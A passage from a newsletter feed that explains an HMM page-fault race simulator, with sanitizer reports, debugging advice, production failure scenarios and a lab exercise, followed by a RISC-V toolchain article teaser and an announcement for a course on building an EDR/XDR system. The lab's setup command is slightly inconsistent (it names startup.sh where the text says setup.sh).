</code></code></pre><p>An 88% refault rate under this artificial, maximally-contended workload is expected &#8212; it&#8217;s a stress test, not a representative access pattern. Real GPU workloads see refault rates close to zero because invalidation of a range a GPU kernel is actively resident in is rare; the mechanism is sized for correctness under worst-case concurrency, not tuned assuming it will fire often. Running the same demo three times shows the refault count moving with scheduling noise rather than converging to a fixed value, which is itself the expected signature of a genuine race window rather than a deterministic algorithm:</p><p>Build variant Refaults (of 20,000) Sanitizer result <code>-O2</code> strict release build 17,665 n/a (no sanitizer) ThreadSanitizer build 6,638 clean ASan + UBSan build 17,392 clean Valgrind (<code>-O0</code>) 19,624 0 errors, 0 leaks</p><p>The spread &#8212; from roughly a third to nearly all rounds refaulting &#8212; comes entirely from each instrumentation&#8217;s effect on relative thread scheduling and timing, not from any change in the underlying algorithm; the <code>usleep(50)</code> window in the fault path is fixed, but how much CPU time the invalidate thread gets to race into that window varies with how much overhead the sanitizer adds around each memory access. This is a useful intuition to carry into kernel debugging generally: a race&#8217;s <em>reproduction rate</em> under a given tool is not a measure of the race&#8217;s real-world frequency, only of how that tool happens to perturb scheduling.</p><p>The actionable performance lesson for driver code: keep the window between <code>read_begin()</code> and <code>read_retry()</code> as short as possible, since every microsecond in that window is exposure to a refault, and refaults on real hardware mean a repeated DMA setup, not just a cheap retry loop. Production GPU drivers batch this &#8212; a single <code>hmm_range_fault()</code> call typically covers many pages at once specifically to amortize the fixed cost of a snapshot-and-retry cycle across as much migrated data as possible, rather than doing it one page at a time the way this simplified demo does for clarity.</p><h2>10. Debugging Techniques</h2><p>Three tools catch three different facets of this bug class:</p><p><strong>ThreadSanitizer</strong> catches the race itself &#8212; two threads touching the same memory without a happens-before edge &#8212; even in the (surprisingly common) case where the racing writes don&#8217;t cause immediately visible corruption:</p><pre><code><code>WARNING: ThreadSanitizer: data race (pid=956)
  Write of size 2 at 0x720400000000 by thread T1:
    #0 hmm_range_fault_and_migrate hmm_sim_before.c:103
    #1 fault_worker hmm_sim_before.c:112
  Previous write of size 8 at 0x720400000000 by thread T2 (mutexes: write M0):
    #0 malloc &lt;libtsan interceptor&gt;
    #1 alloc_host_page hmm_sim_before.c:67
    #2 invalidate_worker hmm_sim_before.c:129
</code></code></pre><p><strong>AddressSanitizer</strong> catches the consequence &#8212; a genuine heap-use-after-free, because the &#8220;invalidate&#8221; side in this model actually frees and reallocates the backing memory, mirroring real page reclaim:</p><pre><code><code>==967==ERROR: AddressSanitizer: heap-use-after-free on address 0x502000000010
WRITE of size 2 at 0x502000000010 thread T1
    #0 hmm_range_fault_and_migrate hmm_sim_before.c:103
freed by thread T2 here:
    #0 free
    #1 invalidate_worker hmm_sim_before.c:127
previously allocated by thread T0 here:
    #0 malloc
    #1 alloc_host_page hmm_sim_before.c:67
</code></code></pre><p><strong>Valgrind&#8217;s memcheck</strong> is the right tool for the <em>fixed</em> version specifically because it validates the absence of leaks introduced by the pin/unpin bookkeeping &#8212; every pin needs a matching unpin on both the commit path and the refault path, and a leaked pin count would silently disable the fix without crashing anything.</p><p>On real kernel code, the equivalent debugging surface is <code>CONFIG_DEBUG_ATOMIC_SLEEP</code> (catches sleeping inside the notifier invalidate callback, which must not block), lockdep annotations on the <code>mmu_interval_notifier</code> machinery, and <code>ftrace</code> events around <code>mmu_notifier_invalidate_range_start/end</code> for tracing actual invalidation timing against driver fault handling in production.</p><p>Two things are worth calling out about applying userspace sanitizers to this style of kernel-adjacent logic. First, the race only reproduces reliably because the demo&#8217;s <code>usleep(50)</code> widens the window enough for the scheduler to interleave the two threads inside it &#8212; remove that call and the same bug exists but may take millions of iterations to surface, which is the userspace analog of a kernel race that only shows up on specific hardware timing. Don&#8217;t mistake &#8220;sanitizer didn&#8217;t fire in N runs&#8221; for &#8220;no race exists&#8221;; absence of a report under a fixed number of iterations is evidence, not proof. Second, TSan and ASan are catching genuinely different failure modes here even though they&#8217;re triggered by the same root cause: TSan flags the <em>unsynchronized access</em> regardless of whether it&#8217;s harmful in a given run, while ASan only fires once the access actually lands on freed memory. Running both is not redundant &#8212; a version of this bug that raced on non-freed, merely stale data would still be caught by TSan and missed entirely by ASan.</p><h2>11. Production Failure Scenarios</h2><p>Three real-world triggers for the exact race modeled here:</p><ul><li><p><code>fork()</code><strong> under active GPU use.</strong> A COW fork of a process with GPU-resident mappings triggers exactly the kind of invalidation a naive driver can race against &#8212; this is precisely why HMM&#8217;s documentation calls out fork handling explicitly as a case drivers must test.</p></li><li><p><strong>THP collapse/split racing a fault.</strong> Transparent huge pages can be split or collapsed by khugepaged concurrently with a device fault walking the same range; a driver that snapshots PFNs without the retry check can migrate a page whose backing has just changed shape underneath it.</p></li><li><p><strong>Swap-out under memory pressure.</strong> If system memory pressure triggers reclaim on a page mid-fault, the naive driver is racing the exact free-then-reuse pattern this lesson&#8217;s buggy version reproduces deterministically under TSAN.</p></li><li><p><strong>Multi-GPU contention on shared address ranges.</strong> In multi-accelerator systems, two devices can both hold <code>mmu_interval_notifier</code> registrations against overlapping ranges of the same process. An invalidation triggered by device A&#8217;s migration can race device B&#8217;s in-flight fault handler exactly as the CPU-vs-GPU case does here &#8212; the notifier mechanism doesn&#8217;t care which side of the race is &#8220;the CPU&#8221;; it only cares that a range changed while someone else was mid-snapshot. Driver authors who tested only single-GPU configurations have historically missed this until multi-GPU topologies exposed it.</p></li><li><p><strong>Userspace calling </strong><code>madvise(MADV_DONTNEED)</code><strong> concurrently with GPU compute.</strong> This is a directly reachable, non-exotic trigger: any application that frees or resets a buffer while a kernel is still running on the GPU is exercising this exact invalidation path, which is precisely why kernel selftests for HMM (<code>tools/testing/selftests/mm/hmm-tests.c</code>) explicitly include concurrent-invalidation test cases rather than relying only on single-threaded correctness checks.</p></li></ul><p>What makes this bug class particularly dangerous in production rather than merely academic is that all three triggers above are <em>routine</em> operations from the CPU side &#8212; nothing about <code>fork()</code>, THP management, memory pressure, or <code>madvise()</code> is unusual or attacker-controlled. A driver with this bug doesn&#8217;t need a hostile workload to fail; it needs an ordinary Linux system doing ordinary Linux things at the wrong moment relative to GPU activity, which is exactly why the failure often surfaces only after a driver has shipped and accumulated enough real-world usage hours to hit the timing window.</p><h2>Working demo link:</h2><div id="youtube2-lD_Izee8dcg" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;lD_Izee8dcg&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/lD_Izee8dcg?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2>12. Real-World Production Use Cases</h2><p>Nouveau&#8217;s SVM (Shared Virtual Memory) support and AMDGPU&#8217;s KFD SVM path are the two upstream, shipping consumers of this exact API surface, both built directly on <code>hmm_range_fault()</code> and <code>mmu_interval_notifier</code>. Outside GPUs, RDMA on-demand-paging (ODP) uses the same underlying <code>mmu_interval_notifier</code> infrastructure to let InfiniBand hardware fault in memory registrations lazily instead of requiring the whole region pinned up front &#8212; a different device, the identical TOCTOU problem, the identical fix.</p><h2>13. Hands-on Lab</h2><p><code>setup.sh</code> builds both the intentionally-buggy and the corrected version of the simulator, runs the full validation gauntlet, and shows you the failure and the fix side by side. Run it with:</p><pre><code><code>chmod +x startup.sh --docker
./startup.sh --docker
</code></code></pre><p>Expect it to: detect your distro and kernel version, install <code>build-essential</code> and <code>valgrind</code> if missing, compile the buggy version under TSan and ASan (both should report the race/UAF), compile the fixed version under <code>-Wall -Wextra -Werror -O2</code>, TSan, ASan+UBSan, and Valgrind (all should pass clean), and print a summary.</p><p>The exercise worth doing by hand afterward: open <code>hmm_sim_before.c</code>, find the missing <code>notifier_retry()</code> check documented in the comment above <code>hmm_range_fault_and_migrate()</code>, and add it yourself &#8212; following the same pattern already implemented in <code>hmm_sim_after.c</code> &#8212; then rerun the TSan and ASan builds against your patched version. Watching the exact same reports from Section 10 disappear once you&#8217;ve added the three lines that constitute the fix is a more durable way to internalize the API contract than reading about it, and it mirrors the actual code-review question a kernel maintainer would ask of a first HMM driver patch: &#8220;where&#8217;s your retry check, and what happens if it fires?&#8221;</p><h2>14. Best Practices</h2><ul><li><p>Never trust a page-table snapshot across any operation that can sleep or take meaningful time; always pair <code>mmu_interval_read_begin()</code> with a <code>read_retry()</code> immediately before committing device-visible state, with as little work as possible in between.</p></li><li><p>Pin what you&#8217;re actively migrating, and make sure every code path &#8212; including error and refault paths &#8212; drops the pin. A pin leak is a correctness bug that manifests as a hang or a stuck reclaim, not a crash, and is easy to miss in testing.</p></li><li><p>Treat a positive <code>read_retry()</code> as the normal case, not an exceptional one, in your capacity planning &#8212; write the refault loop assuming it will fire under contention, because it will.</p></li><li><p>Keep invalidate callbacks non-blocking. The whole design assumes the invalidate side is cheap (bump a counter); if you make it wait synchronously on unrelated work, you reintroduce the kind of stall the seqcount pattern was chosen specifically to avoid.</p></li><li><p>Test with an adversarial invalidator, not just a quiet one. This lesson&#8217;s demo deliberately runs the fault path and the invalidate path at matched, maximal frequency because a driver that only gets exercised against occasional, well-spaced invalidations in CI will never hit the retry path enough times to prove it works. If your test suite&#8217;s refault rate is near zero, that&#8217;s a sign your test isn&#8217;t contending hard enough to be meaningful, not a sign your driver is fast.</p></li><li><p>Don&#8217;t confuse &#8220;the sanitizer didn&#8217;t fire&#8221; with &#8220;the code is correct.&#8221; As this lesson&#8217;s own before/after comparison shows, the same race reproduces at wildly different rates depending on instrumentation and scheduling noise &#8212; a clean run proves nothing about a race window that a different kernel, a different core count, or a different sanitizer might expose.</p></li></ul><h2>15. Summary</h2><p>HMM&#8217;s contribution isn&#8217;t a clever allocator or a scheduling trick &#8212; it&#8217;s a correct answer to a hard concurrency problem: how does a driver safely act on a page-table snapshot that the CPU is free to invalidate at any moment, without either serializing every access behind a lock or accepting the possibility of a device DMA engine writing into freed memory. The mechanism is a sequence-counter retry check plus page pinning, and this lesson&#8217;s demo makes the failure mode and the fix both fully reproducible: omit the retry check and TSan/ASan will show you a real race and a real use-after-free within seconds; add it back correctly, and the identical workload passes a full sanitizer and Valgrind gauntlet clean. That gap &#8212; between &#8220;compiles and usually works&#8221; and &#8220;provably correct under adversarial scheduling&#8221; &#8212; is exactly the gap HMM&#8217;s API contract exists to close for every driver author who has to implement it.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[RISC-V Toolchain Internals: How GCC and LLVM Turn an ISA String Into a Binary]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/risc-v-toolchain-internals-how-gcc</link><guid isPermaLink="false">https://howtech.substack.com/p/risc-v-toolchain-internals-how-gcc</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Thu, 06 Aug 2026 09:30:33 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!zaOX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Every article in this series so far has stayed on one side of a boundary: the kernel. Watchdogs, <code>mempool_t</code>, the scheduler&#8217;s task-switch path, CXL&#8217;s HDM-DB coherency model &#8212; all of it lives in <code>vmlinux</code>, running in supervisor mode, indifferent to whatever produced the instructions it executes. This one crosses that boundary in the other direction. Before any of that kernel code runs, something had to turn <code>.c</code> files into RISC-V machine code, decide which of the dozens of optional RISC-V extensions to target, and encode that decision into the binary in a form the linker and the loader can both act on. That something is the toolchain, and on RISC-V it behaves differently &#8212; and is less mature &#8212; than the x86 or AArch64 toolchains most engineers take for granted.</p><p>This matters for a concrete, current reason. RISC-V is the first mainstream ISA where the extension surface is genuinely open-ended: a vendor can ship a chip with the base integer set, the compressed instruction extension, bit-manipulation extensions, vector extensions, and any number of custom extensions, in almost any combination. GCC and LLVM cannot assume a fixed feature set the way they can for <code>x86-64-v3</code> or <code>armv8.2-a</code>. They have to parse an arbitrary, underscore-delimited ISA string, validate it against a versioned extension database, and thread that decision through every stage of compilation, assembly, and linking. Getting this wrong doesn&#8217;t just mean a missed optimization &#8212; it means emitting an instruction the target CPU will trap on.</p><p>Everything in this article was built and executed for real: cross-compiled with <code>riscv64-linux-gnu-gcc</code> 13.3.0 and <code>clang</code> 18.1.3 targeting <code>riscv64-linux-gnu</code>, and run under <code>qemu-riscv64</code> user-mode emulation, which &#8212; confirmed during development &#8212; correctly implements the <code>riscv_hwprobe(2)</code> syscall used by the demo. Every command output, every disassembly fragment, and every error message quoted below is a real result, not a reconstruction.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!zaOX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!zaOX!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png 424w, /__u/substackcdn.com/image/fetch/$s_!zaOX!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png 848w, /__u/substackcdn.com/image/fetch/$s_!zaOX!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png 1272w, /__u/substackcdn.com/image/fetch/$s_!zaOX!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!zaOX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:877904,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/208953324?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!zaOX!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png 424w, /__u/substackcdn.com/image/fetch/$s_!zaOX!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png 848w, /__u/substackcdn.com/image/fetch/$s_!zaOX!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png 1272w, /__u/substackcdn.com/image/fetch/$s_!zaOX!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0aa0ee56-74fb-48c9-b652-fc2d07d5f49e_4000x4000.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div>
      <p>
          <a href="/__u/howtech.substack.com/p/risc-v-toolchain-internals-how-gcc">
              Read more
          </a>
      </p>
   ]]></content:encoded></item><item><title><![CDATA[Course Announcement: Build a Production-Grade EDR/XDR From Scratch (21-Issue Hands-On Security Engineering Course)]]></title><description><![CDATA[Build a Production-Grade EDR/XDR From Scratch]]></description><link>https://howtech.substack.com/p/course-announcement-build-a-production</link><guid isPermaLink="false">https://howtech.substack.com/p/course-announcement-build-a-production</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Wed, 05 Aug 2026 07:36:44 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!puxZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>Build a Production-Grade EDR/XDR From Scratch</h3><p><strong>A 21-issue engineering course on how modern security platforms are actually built &#8212; one layer at a time.</strong></p><p>If you&#8217;ve ever wondered what&#8217;s really happening inside tools like CrowdStrike, SentinelOne, or Elastic Security when they detect an attacker on a laptop, this course is for you. Over 21 newsletter issues, we build a working &#8212; if intentionally simplified &#8212; EDR/XDR system from the ground up, so you understand the engineering, not just the marketing.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><div><hr></div><h2>What EDR Actually Means</h2><p><strong>EDR (Endpoint Detection and Response)</strong> is software that watches a single machine closely: what processes start, what files get written, what network connections open. Think of it as a very attentive security camera pointed at one computer.</p><h2>What XDR Actually Means</h2><p><strong>XDR (Extended Detection and Response)</strong> takes that idea further &#8212; it connects clues from <em>many</em> sources (different hosts, user identities, containers) into a single incident story. Instead of &#8220;curl ran on laptop-01,&#8221; XDR asks: &#8220;does this connect to that weird login and that unusual outbound connection on another host?&#8221;</p><div><hr></div><h2>What You&#8217;ll Actually Build</h2><p>You&#8217;ll build a layered pipeline that mirrors how real EDR/XDR platforms are structured:</p><ul><li><p><strong>Agents</strong> for Linux, Windows, macOS, and Kubernetes that observe activity on a host</p></li><li><p>A <strong>common event format (OCSF)</strong> that normalizes what each OS reports into one shared language</p></li><li><p>A <strong>secure transport layer</strong> that buffers events and ships them with mutual TLS</p></li><li><p>An <strong>ingest and storage pipeline</strong> that queues and persists events</p></li><li><p><strong>Detection rules</strong> (Sigma-as-code) and <strong>behavioral scoring</strong> that flag suspicious patterns</p></li><li><p><strong>Correlation logic</strong> that stitches related alerts into a single incident (the &#8220;X&#8221; in XDR)</p></li><li><p>A <strong>SOC dashboard</strong> and an <strong>AI copilot</strong> that help an analyst investigate</p></li><li><p>A <strong>response layer</strong> that can take action &#8212; but only with explicit approval</p></li></ul><div><hr></div><h2>The Architecture, In Plain Terms</h2><pre><code><code>Agents (Linux/Windows/macOS/K8s)
        &#8595;  (convert to OCSF JSON)
Secure transport (buffer + mTLS)
        &#8595;
Ingest &#8594; broker &#8594; storage
        &#8595;
Detections &#8594; correlation
        &#8595;
Dashboard / AI copilot &#8594; response (approved actions only)</code></code></pre><p>Each arrow in that diagram is its own set of issues in the course.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!puxZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!puxZ!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 424w, /__u/substackcdn.com/image/fetch/$s_!puxZ!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 848w, /__u/substackcdn.com/image/fetch/$s_!puxZ!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 1272w, /__u/substackcdn.com/image/fetch/$s_!puxZ!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!puxZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png" width="502" height="605.6136865342163" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1093,&quot;width&quot;:906,&quot;resizeWidth&quot;:502,&quot;bytes&quot;:115677,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209593970?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!puxZ!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 424w, /__u/substackcdn.com/image/fetch/$s_!puxZ!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 848w, /__u/substackcdn.com/image/fetch/$s_!puxZ!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 1272w, /__u/substackcdn.com/image/fetch/$s_!puxZ!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 